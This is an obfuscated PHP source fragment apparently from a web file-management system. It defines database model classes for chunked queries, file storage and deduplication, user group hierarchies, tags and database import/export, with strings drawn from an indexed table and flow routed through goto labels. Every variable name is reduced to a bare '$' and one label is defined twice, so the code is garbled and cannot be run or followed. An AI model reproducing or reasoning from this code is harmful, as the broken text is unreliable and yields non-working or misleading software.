$ : array(); $ = count($); for ($ = 0; $ < $; $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ += parent::save($, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($ = '', $ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[427]]; if (!$[$[428]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $ => $) { if (is_array($) && count($) == 2 && $[0] == $[429] && is_string($[1]) && substr($[1], 0, 1) == $[430] && substr($[1], strlen($[1]) - 1, 1) == $[430]) { $ = !0; $ = is_string($) ? $ : $; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $[10])) { $ = $[431] . $ . $[431]; } $ = $[205] . $ . $[205]; $ = str_replace(array($[10], $[432], $[11]), $[433], $); if ($[$[434]]) { $ = $[435] . $ . $[436]; if ($[$[437]]) { $ = $[436] . $ . $[435]; } } $[$] = $[438] . $ . $[439] . $ . $[440]; $++; continue; } if (is_array($)) { $ = is_string($) ? $ : $; $ = $this->parseWhereLike($, $, !0, $); } if (is_numeric($)) { $[$] = $; $++; } else { $[$] = $; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$[338]]) || isset($[$[399]])) { return parent::select($); } $ = $[$[321]][$][1]; $ = is_array($) ? $ : array(); $ = null; for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ = parent::select($); if (!$) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $); } return $; } public function delete($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $ = 0; $ = $[$[321]][$][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ += parent::delete($); } return $; } private function findWhereField($) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[321]])) { return !1; } foreach ($[$[321]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[][441], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "SystemOption"; public $field = array(); public function listData($ = false, $ = "modifyTime", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][442] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[443], $this->optionType . $[444]); $ = $ ? $ : 0; $[$[445]] = ++$; $[$[217]] = time(); $[$[87]] = time(); Model($this->modelType)->set($[443], $, $this->optionType . $[444]); Model($this->modelType)->set($[442] . $, $, $this->optionType); return $; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $ = array_merge($, $); $[$[87]] = time(); return Model($this->modelType)->set($[442] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][442] . $, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[443], $this->optionType . $[444]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[442] . $[$][$[445]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "({$})"; if (!isset($[$])) { return $; } } return $; } } goto F; D: class FileModel extends ModelBase { protected $tableName = "io_file"; protected $tableMeta = array("tableName" => "io_file_meta", "metaField" => "fileID"); public function fileInfo($) { $ =& $_SERVER[]; static $ = array(); if (!isset($[$])) { $ = $[1953]; $ = Model($[514])->field($)->where(array($[512] => $))->find(); $[$] = $; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[]; $ = TEMP_PATH . $[1954]; if (!is_dir($)) { mk_dir($); } $ = $ . $[1955] . rand_string(16); file_put_contents($, $); $ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($, $ = false, $ = false) { $ =& $_SERVER[]; $ = IO::init($[8]); $ = $this->makeFilePath($, $, $, $); $ = $->pathFather($); static $ = false; $ = $[1956] . md5($); if (!$ && !Cache::get($)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . $[842])) { IO::mkfile($ . $[842]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($, $, $ = false, $ = false) { $ =& $_SERVER[]; $ = Model($[815])->get($[1957]); $ = KodIO::defaultIO() . date($[1958]); $ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $ = $->ext($); if (!$) { $ = $[1959]; } switch ($) { case $[1960]: $ = $ . $[10] . $->ext($); if ($ == $[1897]) { $ .= $[1257]; } break; case $[1961]: $ = Model($[815])->get($[816]); $ = substr(md5($[817] . $ . date($[793])), 0, 8); $ = KodIO::defaultDriver(); $ = $[1288] . $[$[445]] . $[454] . date($[1962]) . $ . $[8]; if ($ == $[1897]) { $ .= $[1257]; } $ = $[1963] . $ . $; CacheLock::lock($); $ = $ . $; if (IO::exist($ . $)) { $ = substr($, 0, strlen($) - strlen($)); $ = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ . $ . $[10] . $; } if (IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1964], !1); } } CacheLock::unlock($); break; case $[1959]: break; default: break; } return $; } public function addFileByRemote($, $, $ = array()) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $ = $[$[517]] ? $[$[517]] : $[12]; $ = IO::hashMd5($, $); $ = KodIO::defaultDriver(); $ = array($[587] => IO::size($), $[1965] => 1, $[464] => $, $[853] => $[$[445]], $[465] => $, $[1966] => $[$[642]] ? $[$[642]] : IO::hashSimple($), $[1967] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$[642]], $[$[517]], $[$[78]])) { return $; } return $this->addFileData($); } private function addFileData($) { $ =& $_SERVER[]; if (!$) { return !1; } $[$[78]] = intval($[$[78]]); if (!$[$[78]] && strlen($[$[642]]) > 32) { $[$[78]] = intval(substr($[$[642]], 32)); } $ = $this->add($); return $this->find($); } public function addFile($, $, $ = false) { $ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $[12]; $ = $[1968] . $; CacheLock::lock($); if ($ && $) { $ = $this->addFileCheckExist($, $, $); if ($) { CacheLock::unlock($); return $; } } $ = $this->addFileMake($, $, $, $, $, $); $ = $this->addFileData($); CacheLock::unlock($); if (!$ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($) { $ =& $_SERVER[]; $ = array($[$[511]], $[$[86]]); $ = $[1969] . $[$[86]]; $ = $[1970] . $[$[511]]; TaskQueue::add($[1971], $, $, $); } public function fileMd5Set($, $) { $ =& $_SERVER[]; $ = $this->find($); if (!$ || $[$[517]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[511] => $))->save(array($[517] => $)); } public function addFileMake($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $this->createFileName($, $, $); $ = get_path_father($); $ = get_path_this($); if ($) { $ = IO::move($, $, !1, $); } else { $ = IO::copy($, $, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $ = array($[587] => $, $[1965] => 1, $[464] => $, $[853] => $[$[445]], $[465] => $, $[1966] => $, $[1967] => $); return $; } public function addFileCheckExist($, $, $) { $ =& $_SERVER[]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($[1965] => intval($[$[1972]]) + 1, $[587] => $); $this->where(array($[512] => $[$[511]]))->save($); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $) { $ = $ . $[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ = array(); foreach ($ as $ => $) { $ = $ . $[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $ => $) { if (!$) { continue; } $ = $ ? $ : -intval($); $ = array($[511] => array($[7], $)); if ($ < 0) { $[$[1972]] = array($[1066], abs($)); } $this->where($)->setAdd($[1972], $); } } public function findByHash($, $ = false) { $ =& $_SERVER[]; if (!$ && !$) { return !1; } $ = array($[1966] => $); if ($) { $ = array($[1967] => $); } return $this->order($[1973])->where($)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $; $ = $[1974] . $; $ = $this->where($)->select(); if (!$) { return; } $ = new Task($[1975], $[12], count($)); foreach ($ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[512] => $[$[511]]); $ = Model($[1384])->where($)->count(); $ = Model($[1976])->where($)->count(); $ = intval($) + intval($); if ($ == 0) { IO::remove($[$[86]]); Model($[1977])->delete($[$[511]]); $this->where($)->delete(); $this->metaSet($[$[511]], null, null); return; } if ($[$[1972]] != $) { $this->where($)->save(array($[1965] => $)); } } public function storageInfo($ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $ = 0; $ = 1; $ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $ = $this->limit($, $ + $)->select(); foreach ($ as $) { $ += $[$[78]] * $[$[1972]]; $ += $[$[78]] * ($[$[1972]] - 1); $ += $[$[1972]]; } } $ = array($[1978] => $, $[1979] => $, $[1980] => $ / $, $[82] => $, $[1981] => $); return $; } } class GroupModel extends ModelBase { protected $tableName = "group"; protected $tableMeta = array("tableName" => "group_meta", "metaField" => "groupID"); protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1982] => array($[0], $[1983]), $[1984] => array($[0], $[1985])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][1986], $); } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[1904] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1987], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[182]] && isset($[$[1904]]) && $[$[1904]] == 1) { if ($ = $this->getInfoSimple($[$[1904]], !0)) { return $[$[1904]]; } } else { $ = $this->getInfoSimple($[$[182]]); if (!$) { return !1; } } $ = $[565]; if ($[$[555]]) { $ = $[$[555]] . $[$[1904]] . $[50]; } $ = array($[464] => $this->groupNameAuto($[$[182]], $[$[32]]), $[447] => $[$[182]], $[622] => $, $[1988] => $[$[1891]], $[1989] => 0, $[1908] => 0); if (isset($[$[1928]])) { $[$[1928]] = $[$[1928]]; } else { $ = $this->max($[1928]); if (!$) { $ = 0; } $[$[1928]] = $ + 1; } if (!empty($[$[1904]])) { $[$[1904]] = $[$[1904]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[1990]])) { $this->metaSet($, array($[1990] => $[$[1990]], $[1991] => $[$[1991]])); unset($[$[1990]]); unset($[$[1991]]); } Model($[1384])->groupRootAdd($); $this->_clearCache($[$[182]]); return $; } protected function groupEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[182]])) { $ = $this->getInfoSimple($[$[182]]); if (!$) { return !1; } if ($[$[1904]] == $[$[1904]]) { return !1; } if ($[$[182]] != $[$[182]]) { if ($[$[555]] !== $[$[555]] && strpos($[$[555]], $[$[555]] . $[$[1904]] . $[50]) === 0) { return !1; } $[$[622]] = $[$[555]] . $[$[182]] . $[50]; $this->_changeChildLevel($, $); $this->_clearCache($[$[1904]]); $this->_clearCache($[$[182]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[1990]])) { $this->metaSet($, array($[1990] => $[$[1990]], $[1991] => $[$[1991]])); unset($[$[1990]]); unset($[$[1991]]); } $this->_clearChildrenCache($); return $this->where(array($[1992] => $))->save($); } private function _clearChildrenCache($) { $ =& $_SERVER[]; $ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ = $this->field($[1904])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1904]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1986], $); $this->cacheFunctionClear($[1987], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[]; $ = $[$[555]] . $[$[1904]] . $[50]; $ = $[$[555]] . $[$[1904]] . $[50] . $[$[1904]] . $[50]; if ($) { $ = $[$[555]] . $[$[1904]] . $[50]; } $ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ = array($[622] => array($[631], "replace(parentLevel,'{$}','{$}')")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[32]]; } if (!Input::check($, $[625])) { $this->metaSet($, $[508], null); $this->metaSet($, $[507], null); return; } $ = array($[508] => str_replace($[53], $[12], Pinyin::get($)), $[507] => Pinyin::get($, $[626])); $this->metaSet($, $); } protected function groupStatus($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $[795], $); if ($ == $[90]) { $ = $this->parentLevelArray($[$[555]]); } else { } $[] = $[$[1904]]; $ = array(); foreach ($ as $) { $[] = array($[1904] => $, $[96] => $[795], $[420] => $); $this->_clearCache($); } return Model($[1993])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $ =& $_SERVER[]; $ = array($[1904] => $); $ = $this->where($)->find(); if (!$ || $[$[182]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$[182]]); $this->_changeChildLevel($, $, !0); $this->where(array($[182] => $))->save(array($[182] => $[$[182]])); $this->_clearCache($[$[1904]]); } Model($[1993])->where($)->delete(); Model($[1994])->where($)->delete(); Model($[870])->groupRootRemove($); $this->_clearCache($[$[182]]); return $this->where($)->delete(); } protected function groupSort($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $[] = array($[1904], $, $[1928], $ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][415]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1904], $[32], $[1893], $[217]); $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[500], $[7], $[1908], $); $ = Input::get($[501], $[7], $[1995], array($[1995], $[495])); $ = $[$]; $ = $ . "{$} {$}, groupID asc"; return $this->order($); } public function listChild($) { $ =& $_SERVER[]; $ = $this->where(array($[182] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[415]]); return $; } public function listChildIds($) { $ =& $_SERVER[]; if (is_string($)) { $ = explode($[50], $); } $ = $this->where(array($[1904] => array($[7], $)))->field($[1996])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[] = "select groupID from `group` where parentLevel like '{$[$[555]]}{$[$[1904]]},%'"; } $ = implode($[1997], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1904]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[1904] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1904], $); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ = $[$[1998]]; $ = isset($[$[1999]]) ? $[$[1999]] : !1; if (!trim($)) { return !1; } $ = str_replace($[2000], $[2001], $); $ = array($[1904] => array($[429], "{$}%"), $[32] => array($[429], "%{$}%"), $[1051] => $[2002]); if ($) { $ = $this->getInfoSimple($); $ = $[$[555]] . $ . $[583]; $ = array($, array($[555] => array($[429], $))); } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); $ = $ ? $ : array($[415] => array(), $[412] => array()); if (!$ || count($[$[415]]) < 5 && Input::check($, $[364])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($[507], $, 10, $); $ = $this->_searchFromMeta($[508], $, 10, $); $ = array_merge($, $, $[$[415]]); $[$[415]] = array_unique_by_key($, $[1904]); $[$[412]][$[413]] = count($[$[415]]); $[$[412]][$[414]] = ceil($[$[412]][$[413]] / $[$[412]][$[409]]); } $this->_listDataApply($[$[415]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $) { $ = $this->getInfoSimple($); $ = array($[555] => array($[429], $[$[555]] . $ . $[583])); $ = $this->field($[1904])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1904])); } return array_unique($); } private function _searchFromMeta($, $, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[96] => $, $[420] => array($[429], "%{$}%")); $ = $this->parseWhereLike($); if ($) { $[$[1904]] = array($[7], $); } $ = Model($[2003])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1904]); $ = $this->where(array($[1992] => array($[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $[12], $[1904]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1904]); $ = array($[182] => array($[7], $)); $ = array($[182], $[2004] => $[536]); $ = $this->field($)->where($)->group($[182])->select(); $ = array_to_keyvalue($, $[182], $[536]); foreach ($ as &$) { $ = $[$[1904]]; $[$[2005]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1904]); $ = array($[1904] => array($[7], $)); $ = array($[1904], $[2004] => $[536]); $ = Model($[1994])->field($)->where($)->group($[1904])->select(); $ = array_to_keyvalue($, $[1904], $[536]); foreach ($ as &$) { $ = $[$[1904]]; $[$[2006]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[1904] => array($[7], $)); $ = Model($[1993])->where($)->select(); $ = array_to_keyvalue_group($, $[1904]); foreach ($ as &$) { $ = array_to_keyvalue($, $[96], $[420]); } unset($); foreach ($ as &$) { $[$[509]] = array(); if (isset($[$[$[1904]]])) { $[$[509]] = $[$[$[1904]]]; } } unset($); } protected function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[214]); return $; } protected function parentInGroup($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !0; } $ = $this->parentLevelArray($[$[555]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as &$) { $[$[$[1904]]] = $[$[32]]; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $) { if ($) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[91]][$[2007]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[555]]); $ = $[12]; foreach ($ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] . $[8]; } if ($) { $ .= $[$[32]]; } $[$[560]] = str_replace($[563], $[8], $); } unset($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[870])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[540]); $ = array_remove_key($, $[540]); foreach ($ as &$) { $[$[89]] = $[$[$[1904]]] ? $[$[$[1904]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ = 0; $ < count($); $++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$], $[$])) { $ = !0; break; } } if (!$) { $[] = $[$]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $ = $this->getInfoSimple($); $ = $[$[555]] . $ . $[50]; if (substr($[$[555]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($, $ = false) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return array(); } $ = $this->parentLevelArray($[$[555]]); $ = array($); if (count($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$[$[509]] || !isset($[$[509]][$[1990]]) || $[$[509]][$[1990]] == $[1959]) { return $this->groupShowRoot($[count($) - 1], $); } if ($[$[509]][$[1990]] == $[403]) { $ = explode($[50], $[$[509]][$[1991]]); if ($) { $ = array_merge($, $); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $[1904]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); while ($[$[182]] != 0) { $[] = $[$[182]]; $ = $[$[$[182]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($ => $[$]))->save(array($[622] => $)); } return $; } public function groupNameAuto($, $) { $ =& $_SERVER[]; $ = $this->where(array($[447] => $))->getField($[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "({$})"; if (!in_array($, $)) { return $; } } } public function groupSwitch($, $) { $ =& $_SERVER[]; $ = array($[1904] => array($[7], array($, $))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[1904]); if (!isset($[$]) || !isset($[$]) || $[$][$[182]] == 0) { return !1; } $ = array($[1904] => $); $ = Model($[1994])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ = $[$[1705]]; $ = array($[1705] => $, $[1904] => $); $ = Model($[1994])->where($)->find(); if (!$) { $ = array($ => $[$[2008]]); Model($[569])->userGroupAdd($, $); } Model($[569])->userGroupRemove($, $); } $ = array($[180] => 2, $[182] => 0, $[455] => 1, $[540] => array($[7], array($, $))); $ = Model($[870])->where($)->field($[2009])->select(); $ = array_to_keyvalue($, $[540], $[183]); $ = !empty($[$]) ? $[$] : !1; if ($) { if (!$[$]) { $[$] = Model($[870])->groupRootAdd($); } $ = $[$]; $ = array($[182] => $); $ = Model($[870])->where($)->field($[2010])->select(); if (!$) { $ = array(); } Model($[870])->moveClearAuth = !1; foreach ($ as $) { $ = $[$[455]] == $[90] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[870])->move($[$[183]], $, $); } Model($[870])->moveClearAuth = !0; $ = array($[180] => 2, $[540] => $); $ = array($[540] => $); Model($[2011])->where($)->save($); Model($[2012])->where($)->save($); } $this->_changeChildLevel($[$], $[$], !0); $this->where(array($[182] => $))->save(array($[182] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2013] => array($[0], $[2014]), $[2015] => array($[0], $[2016])); } protected function get($) { $ =& $_SERVER[]; $ = Model($[556])->metaGet($, $[2017]); $ = json_decode($, !0); return $ ? $ : array($[2018] => $[90], $[415] => array()); } protected function set($, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2018] => $[90], $[415] => array()); return Model($[556])->metaSet($, $[2017], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[556])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$[415]])) { return !1; } $ = array_find_by_field($[$[415]], $[445], $); return is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($); $ = array(); foreach ($ as $) { $ = $[$[86]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[470]]; } $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = array($[461] => array($[462], $), $[540] => $, $[180] => SourceModel::TYPE_GROUP); $ = Model($[1384])->listSource($); if (!$ || count($) == $[$[412]][$[413]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[84]], $[12], $[183]); $ = array_to_keyvalue($[$[85]], $[12], $[183]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $ =& $_SERVER[]; $ = array($[1696] => 0, $[528] => array($[2019], 0), $[466] => $[2020] . $); $ = $[2021]; $ = $this->field($)->where($)->order($[2022])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (!Model($[870])->pathInfo($)) { return !1; } $ = array($[1696] => 0, $[528] => $, $[465] => $, $[466] => $[2023] . $, $[464] => $[12], $[1908] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => 0, $[528] => $, $[466] => $[2023] . $, $[465] => $); return $this->where($)->delete(); } protected function removeByTag($, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $)) { return !1; } $ = array($[1696] => 0, $[528] => $, $[466] => $[2023] . $); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => 0, $[465] => $, $[528] => array($[1065], 0), $[466] => $[2023] . $); return $this->where($)->delete(); } } goto C; E: define($_SERVER[][284], 1); define($_SERVER[][285], 2); define($_SERVER[][286], 3); goto C; D: class DbManage { function __construct($ = array()) { $ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$[6]][$[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($ = false) { $ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ = $[$[1023]]; $[$[1023]] = $[12]; if ($[$[1018]] == $[1015]) { $ = $[$[1024]]; $[$[1024]] = substr($, 0, strrpos($, $[1110])); } $this->database = $; $ = $this->model()->db(); try { $ = $->execute("show databases like '{$}'"); } catch (Exception $) { } if (!$) { $->execute("create database `{$}`"); } $[$[1023]] = $; if ($[$[1018]] == $[1015]) { $[$[1024]] .= $[1110] . $; } $this->database = $; $->execute("use `{$}`"); return $; } public function createTable($, &$) { $ =& $_SERVER[]; if (!IO::exist($)) { ActionCall($[1111], !0, 0); show_json(LNG($[1112]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ = stripos($, $[1113]) === 0; if ($) { $->task[$[831]] += 1; } $->execute($); if ($) { preg_match($[1114], $, $); $->task[$[1115]] = $[1]; $->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($ as $) { $ = basename($, $[833]); if (!in_array($, $)) { continue; } $->task[$[1115]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($[1111], !0, 0); show_json(LNG($[1116]) . "[{$}]", !1); } } } public function sqlFromDb($, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1115]] = $; } $ = $this->model($); $ = 0; $ = 0; $ = 10000; $ = fopen($, $_SERVER[][1117]); $ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][832]] && in_array($, 